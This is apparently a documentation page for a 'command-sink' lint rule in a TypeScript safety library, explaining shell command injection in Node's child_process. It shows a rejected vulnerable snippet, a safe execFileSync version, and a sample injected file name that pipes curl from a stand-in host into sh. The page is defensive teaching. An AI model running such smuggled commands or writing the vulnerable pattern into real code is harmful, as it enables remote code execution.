command-sink
A shell command built from text the source doesn't show: exec(command) and execSync(command) of node:child_process, and spawn, spawnSync, execFile, execFileSync given an options object with shell set (then the arguments array is part of the command too).
Why: a shell reads the whole text: ;, &&, |, $(...) and backticks start other commands. A file name of x; curl evil.example/a | sh given to exec(`ls ${name}`) runs that too. No escaping of the text is as simple as not using a shell: a program run without one gets each argument as it is.
✕ Rejectedcommand-sink
ts
import { execSync } from "@evobug_com/safe-ts-feature-node/child_process";
import { isErr } from "@evobug_com/safe-ts-std/result";
export function lineCount(file: string): string {
const out = execSync(`wc -l ${file}`, { encoding: "utf8" });
return isErr(out) ? "" : out;
}✅ Accepted: the program without a shell, the data an argument
✓ Accepted0 diagnostics
ts
import { execFileSync } from "@evobug_com/safe-ts-feature-node/child_process";
import { isErr } from "@evobug_com/safe-ts-std/result";
export function lineCount(file: string): string {
const out = execFileSync("wc", ["-l", "--", file], { encoding: "utf8" });
return isErr(out) ? "" : out;
}Accepted: a constant the source shows, a number, a value of a literal type, and what whoever runs the program gives it, where the code shows it (spawn(process.env.EDITOR ?? "vi", [file]); past that, a FromOperator). Without shell, the program spawn and execFile run is a file, and path-sink's; the arguments array isn't a command at all. An options object the source doesn't show as a literal (spawn(cmd, args, options)) is taken as having no shell.
What the rule can't see: shell set in an options object built elsewhere; a program that is itself a shell given -c (spawn("sh", ["-c", text])); an argument that the program reads as an option (--output=/etc/passwd: put -- before the data, as above). The list of members is data in the Node pack (Libraries: Sinks).